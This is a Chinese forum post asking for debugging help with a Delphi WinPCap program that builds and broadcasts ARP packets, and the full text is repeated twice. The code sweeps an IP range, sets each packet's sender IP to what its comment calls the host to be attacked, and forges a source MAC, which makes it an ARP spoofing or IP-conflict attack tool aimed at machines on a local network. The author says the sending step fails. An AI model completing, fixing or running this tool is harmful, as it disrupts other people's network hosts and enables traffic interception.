L
linuxping
Unregistered / Unconfirmed
GUEST, unregistred user!
使用WinPCap 写了个发送ARP包的程序,但是总是发送不出去? ARP包构造错了?
下面失主要代码和结构,大家帮忙看看:
{*************************************************************************************
ARP包结构:
-------------------------------------------
以太网 | 以太网 | 帧 | 硬件 | 协议| 硬件 | 协议 | OP| 发送端 |发送端|目的以太|目的
目的地址| 源地址 | 类型| 类型 | 类型| 长度 | 长度 | |以太网地址| IP |网地址 | IP
-------------------------------------------
6 6 2 2 2 1 1 2 6 4 6 4
|<---以太网首部------->|<--------------------28字节的ARP请求/应答---------------->|
*************************************************************************************}
{
硬件类型字段指明了发送方想知道的硬件接口类型,以太网的值为1.
协议类型字段指明了发送方提供的高层协议类型,IP为0806(16进制)。
硬件地址长度和协议长度指明了硬件地址和高层协议地址的长度.
操作字段用来表示这个报文的目的,ARP请求为1,ARP响应为2,RARP请求为3,RARP响应为4。
}
const
HardWareType_Ether=$0001; //硬件接口类型,以太网的值为1
//HardWareType_xx=$xx
//...
FrameType=$0806; //帧类型。 arp=0x0806,rarp=0x8035 。
ProtoType_IP=$0800; //高层协议类型,IP为0800(16进制)。
//ProtoType_UDP=$xx;
//ProtoType_TCP=$xx;
//...
HardWare_Len=$06; //硬件地址长度
MACAddr_Len=HardWare_Len;
Proto_Len=$04; //协议长度
Op_ARP_Request=$0001; //ARP请求
Op_ARP_Response=$0002; //ARP响应
Op_RARP_Request=$0003; //RARP请求
Op_RARP_Response=$0004; //RARP响应
Broadcast_Mac_Addr='FF-FF-FF-FF-FF-FF'; //ARP广播地址
type
//以太网地址
TEtherHardAddr=array[0..5]of Byte;
//开始构造ARP数据包。
//首先构造"以太网首部"
TEtherHeader=packed record
Ether_Dest:TEtherHardAddr; //以太网目的地址
Ether_Src:TEtherHardAddr; //以太网源地址
Frame_Type:Word; //帧类型
end;
TARPHeader=TEtherHeader;
//构造”28字节的ARP请求/应答“
TRequestResponse=packed record
HardAddrType:Word; //硬件类型
ProtoAddrType:Word; //协议类型
HardAddr_Len:Byte; //硬件地址长度
ProtoAddr_Len:Byte; //协议地址长度
Operation:Word; //操作. ARP/RARP.
Sender_Hard_Addr:TEtherHardAddr; //发送端以太网地址
Sender_IP:LongWord; //发送端IP
Dest_Hard_Addr:TEtherHardAddr; //目的以太网地址
Dest_IP:LongWord; //目的IP
end;
TARPData=TRequestResponse;
PARPData=^TARPData;
function pcap_SendARPPacket(P: pPcap;SrcIP,DstIP,SrcMac,DstMac:string;Retries:Integer;IsRequest:Boolean):Boolean;
var
SendBuffointer;
EtherHaeder:TEtherHeader;
ARPData:TARPData;
ARPPack:TARPPacket;
PARPARPPacket;
IPHeader:THdrIP;
S:TChangeLongAndByte;
LS:LongWord;
ErrorStr:string;
AdpaterNames:TStringList;
I:Integer;
PPackpacket;
begin
result:=False;
if p=nil then Exit;
if NOT LoadPacketDll then
begin
p.errbuf := 'Cannot load packet.dll';
exit;
end;
//-------------------------------------
{构造一个ARP包}
//以太网头部
EtherHaeder.Ether_Dest:=TMacAddrOperation.Str2MacAddr(DstMac);
EtherHaeder.Ether_Src:=TMacAddrOperation.Str2MacAddr(SrcMac);
EtherHaeder.Frame_Type:=htons(FrameType);
//以太网数据域
ARPData.Sender_Hard_Addr:=TMacAddrOperation.Str2MacAddr(SrcMac);
ARPData.Sender_IP:=inet_addr(PChar(SrcIP)); // htonl ???????????????????
ARPData.Dest_Hard_Addr:=TMacAddrOperation.Str2MacAddr(DstMac);
ARPData.Dest_IP:=inet_addr(PChar(DstIP)); // htons ???????????????????
ARPData.HardAddrType:=htons(HardWareType_Ether);
ARPData.ProtoAddrType:=htons(ProtoType_IP);
ARPData.HardAddr_Len:=6;
ARPData.ProtoAddr_Len:=4;
if IsRequest then
ARPData.Operation:=htons(Op_ARP_Request)
else
ARPData.Operation:=htons(Op_ARP_Response);
ARPPack.Header:=EtherHaeder;
ARPPack.RequestResponse:=ARPData;
FillChar(ARPPack.Padding,18,0);
//------------------------------------------
//发送ARP包
pPack:=PacketAllocatePacket;
if ppack=nil then
begin
ErrorStr:='初始化包失败!';
Move(ErrorStr[1], p.errbuf[0],Length(ErrorStr));
Exit;
end;
PacketInitPacket(pPack,@ARPPack,SizeOf(ARPPack));
for I:=0 to Retries-1 do
if PacketSendPacket(p.Adapter,pPack,True)=False then
begin
ErrorStr:='Send ARP Packet failed!';
Move(ErrorStr[1], p.errbuf[0],Length(ErrorStr));
end else
Result:=True;
//if p<>nil then pcap_close(p);
end;
procedure TForm1.btnSendARPClick(Sender: TObject);
var
pPcap;
AdpaterNames:TStringList;
StrDestMAC,StrSrcMac:string;
StrDestIP,StrSrcIP:string;
wStartIP,wEndIP,wMyIPWord;
I:Integer;
wWord;
addr:TInAddr;
Err:string;
begin
if not IdGlobal.IsValidIP(Trim(edtIPStart.Text)) then
begin
rztrycn1.ShowBalloonHint('出错啦!',#39+'起始IP地址'+#39+'格式不正确!');
Exit;
end;
if not IdGlobal.IsValidIP(Trim(edtIPEnd.Text)) then
begin
rztrycn1.ShowBalloonHint('出错啦!',#39+'终止IP地址'+#39+'格式不正确!');
Exit;
end;
wStartIP:=ntohl(inet_addr(PAnsiChar(Trim(edtIPStart.Text))));
wEndIP:= ntohl(inet_addr(PAnsiChar(Trim(edtIPEnd.Text))));
if wEndIP<wStartIP then
begin
rztrycn1.ShowBalloonHint('出错啦!',#39+'终止IP地址'+#39+'不能小于'+#39+'起始IP地址'+#39+'!');
Exit;
end;
//Get Device
AdpaterNames:=TStringList.Create;
AdpaterNames.CommaText:=Pcap_getAdapternames(',',Err);
if AdpaterNames.CommaText='' then
begin
rztrycn1.ShowBalloonHint('出错啦!','错误描述是: '+Err);
AdpaterNames.Free;
Exit;
end;
wMyIP:=ntohl(inet_addr(PAnsiChar(GetMyIP)));
for I:=0 to AdpaterNames.Count-1 do
begin
// open Device
p:=pcap_open_live(AdpaterNames.Strings,DEFAULT_SNAPLEN,True,100,Err);
if P=nil then Continue;
for w:=wStartIP to wEndIP do
begin
if w=wMyIP then Continue; //本机则跳过。
addr.S_addr:=ntohl(W);
StrSrcIP:=StrPas(inet_ntoa(addr)); //源IP设为要攻击的主机IP
StrSrcMac:='FF-00-00-00-00-00'; //伪造一个源MAC
{ if not GetRemoteMacAdress(StrSrcMac) then
begin
rztrycn1.ShowBalloonHint('发送ARP包出错啦!','无法取得主机'+StrPas(inet_ntoa(addr))+'的MAC地址。'+#13#10+'该主机被忽略。');
Continue;
end; }
StrDestMAC:='FF-FF-FF-FF-FF-FF'; //ARP广播地址
StrDestIP:='255.255.255.255'; //广播地址??
if not pcap_SendARPPacket(p,StrSrcIP,StrDestIP,StrSrcMac,StrDestMAC,3,True) then
rztrycn1.ShowBalloonHint('出错啦!','向主机'+StrSrcIP+'发送ARP包失败!');
end;
if p<>nil then
begin
pcap_close(p);
Break;
end;
end;
AdpaterNames.Free;
end;
在 if not pcap_SendARPPacket(p,StrSrcIP,StrDestIP,StrSrcMac,StrDestMAC,3,True) then处 被提示没有发送出去。。。。
下面失主要代码和结构,大家帮忙看看:
{*************************************************************************************
ARP包结构:
-------------------------------------------
以太网 | 以太网 | 帧 | 硬件 | 协议| 硬件 | 协议 | OP| 发送端 |发送端|目的以太|目的
目的地址| 源地址 | 类型| 类型 | 类型| 长度 | 长度 | |以太网地址| IP |网地址 | IP
-------------------------------------------
6 6 2 2 2 1 1 2 6 4 6 4
|<---以太网首部------->|<--------------------28字节的ARP请求/应答---------------->|
*************************************************************************************}
{
硬件类型字段指明了发送方想知道的硬件接口类型,以太网的值为1.
协议类型字段指明了发送方提供的高层协议类型,IP为0806(16进制)。
硬件地址长度和协议长度指明了硬件地址和高层协议地址的长度.
操作字段用来表示这个报文的目的,ARP请求为1,ARP响应为2,RARP请求为3,RARP响应为4。
}
const
HardWareType_Ether=$0001; //硬件接口类型,以太网的值为1
//HardWareType_xx=$xx
//...
FrameType=$0806; //帧类型。 arp=0x0806,rarp=0x8035 。
ProtoType_IP=$0800; //高层协议类型,IP为0800(16进制)。
//ProtoType_UDP=$xx;
//ProtoType_TCP=$xx;
//...
HardWare_Len=$06; //硬件地址长度
MACAddr_Len=HardWare_Len;
Proto_Len=$04; //协议长度
Op_ARP_Request=$0001; //ARP请求
Op_ARP_Response=$0002; //ARP响应
Op_RARP_Request=$0003; //RARP请求
Op_RARP_Response=$0004; //RARP响应
Broadcast_Mac_Addr='FF-FF-FF-FF-FF-FF'; //ARP广播地址
type
//以太网地址
TEtherHardAddr=array[0..5]of Byte;
//开始构造ARP数据包。
//首先构造"以太网首部"
TEtherHeader=packed record
Ether_Dest:TEtherHardAddr; //以太网目的地址
Ether_Src:TEtherHardAddr; //以太网源地址
Frame_Type:Word; //帧类型
end;
TARPHeader=TEtherHeader;
//构造”28字节的ARP请求/应答“
TRequestResponse=packed record
HardAddrType:Word; //硬件类型
ProtoAddrType:Word; //协议类型
HardAddr_Len:Byte; //硬件地址长度
ProtoAddr_Len:Byte; //协议地址长度
Operation:Word; //操作. ARP/RARP.
Sender_Hard_Addr:TEtherHardAddr; //发送端以太网地址
Sender_IP:LongWord; //发送端IP
Dest_Hard_Addr:TEtherHardAddr; //目的以太网地址
Dest_IP:LongWord; //目的IP
end;
TARPData=TRequestResponse;
PARPData=^TARPData;
function pcap_SendARPPacket(P: pPcap;SrcIP,DstIP,SrcMac,DstMac:string;Retries:Integer;IsRequest:Boolean):Boolean;
var
SendBuffointer;
EtherHaeder:TEtherHeader;
ARPData:TARPData;
ARPPack:TARPPacket;
PARPARPPacket;
IPHeader:THdrIP;
S:TChangeLongAndByte;
LS:LongWord;
ErrorStr:string;
AdpaterNames:TStringList;
I:Integer;
PPackpacket;
begin
result:=False;
if p=nil then Exit;
if NOT LoadPacketDll then
begin
p.errbuf := 'Cannot load packet.dll';
exit;
end;
//-------------------------------------
{构造一个ARP包}
//以太网头部
EtherHaeder.Ether_Dest:=TMacAddrOperation.Str2MacAddr(DstMac);
EtherHaeder.Ether_Src:=TMacAddrOperation.Str2MacAddr(SrcMac);
EtherHaeder.Frame_Type:=htons(FrameType);
//以太网数据域
ARPData.Sender_Hard_Addr:=TMacAddrOperation.Str2MacAddr(SrcMac);
ARPData.Sender_IP:=inet_addr(PChar(SrcIP)); // htonl ???????????????????
ARPData.Dest_Hard_Addr:=TMacAddrOperation.Str2MacAddr(DstMac);
ARPData.Dest_IP:=inet_addr(PChar(DstIP)); // htons ???????????????????
ARPData.HardAddrType:=htons(HardWareType_Ether);
ARPData.ProtoAddrType:=htons(ProtoType_IP);
ARPData.HardAddr_Len:=6;
ARPData.ProtoAddr_Len:=4;
if IsRequest then
ARPData.Operation:=htons(Op_ARP_Request)
else
ARPData.Operation:=htons(Op_ARP_Response);
ARPPack.Header:=EtherHaeder;
ARPPack.RequestResponse:=ARPData;
FillChar(ARPPack.Padding,18,0);
//------------------------------------------
//发送ARP包
pPack:=PacketAllocatePacket;
if ppack=nil then
begin
ErrorStr:='初始化包失败!';
Move(ErrorStr[1], p.errbuf[0],Length(ErrorStr));
Exit;
end;
PacketInitPacket(pPack,@ARPPack,SizeOf(ARPPack));
for I:=0 to Retries-1 do
if PacketSendPacket(p.Adapter,pPack,True)=False then
begin
ErrorStr:='Send ARP Packet failed!';
Move(ErrorStr[1], p.errbuf[0],Length(ErrorStr));
end else
Result:=True;
//if p<>nil then pcap_close(p);
end;
procedure TForm1.btnSendARPClick(Sender: TObject);
var
pPcap;
AdpaterNames:TStringList;
StrDestMAC,StrSrcMac:string;
StrDestIP,StrSrcIP:string;
wStartIP,wEndIP,wMyIPWord;
I:Integer;
wWord;
addr:TInAddr;
Err:string;
begin
if not IdGlobal.IsValidIP(Trim(edtIPStart.Text)) then
begin
rztrycn1.ShowBalloonHint('出错啦!',#39+'起始IP地址'+#39+'格式不正确!');
Exit;
end;
if not IdGlobal.IsValidIP(Trim(edtIPEnd.Text)) then
begin
rztrycn1.ShowBalloonHint('出错啦!',#39+'终止IP地址'+#39+'格式不正确!');
Exit;
end;
wStartIP:=ntohl(inet_addr(PAnsiChar(Trim(edtIPStart.Text))));
wEndIP:= ntohl(inet_addr(PAnsiChar(Trim(edtIPEnd.Text))));
if wEndIP<wStartIP then
begin
rztrycn1.ShowBalloonHint('出错啦!',#39+'终止IP地址'+#39+'不能小于'+#39+'起始IP地址'+#39+'!');
Exit;
end;
//Get Device
AdpaterNames:=TStringList.Create;
AdpaterNames.CommaText:=Pcap_getAdapternames(',',Err);
if AdpaterNames.CommaText='' then
begin
rztrycn1.ShowBalloonHint('出错啦!','错误描述是: '+Err);
AdpaterNames.Free;
Exit;
end;
wMyIP:=ntohl(inet_addr(PAnsiChar(GetMyIP)));
for I:=0 to AdpaterNames.Count-1 do
begin
// open Device
p:=pcap_open_live(AdpaterNames.Strings,DEFAULT_SNAPLEN,True,100,Err);
if P=nil then Continue;
for w:=wStartIP to wEndIP do
begin
if w=wMyIP then Continue; //本机则跳过。
addr.S_addr:=ntohl(W);
StrSrcIP:=StrPas(inet_ntoa(addr)); //源IP设为要攻击的主机IP
StrSrcMac:='FF-00-00-00-00-00'; //伪造一个源MAC
{ if not GetRemoteMacAdress(StrSrcMac) then
begin
rztrycn1.ShowBalloonHint('发送ARP包出错啦!','无法取得主机'+StrPas(inet_ntoa(addr))+'的MAC地址。'+#13#10+'该主机被忽略。');
Continue;
end; }
StrDestMAC:='FF-FF-FF-FF-FF-FF'; //ARP广播地址
StrDestIP:='255.255.255.255'; //广播地址??
if not pcap_SendARPPacket(p,StrSrcIP,StrDestIP,StrSrcMac,StrDestMAC,3,True) then
rztrycn1.ShowBalloonHint('出错啦!','向主机'+StrSrcIP+'发送ARP包失败!');
end;
if p<>nil then
begin
pcap_close(p);
Break;
end;
end;
AdpaterNames.Free;
end;
在 if not pcap_SendARPPacket(p,StrSrcIP,StrDestIP,StrSrcMac,StrDestMAC,3,True) then处 被提示没有发送出去。。。。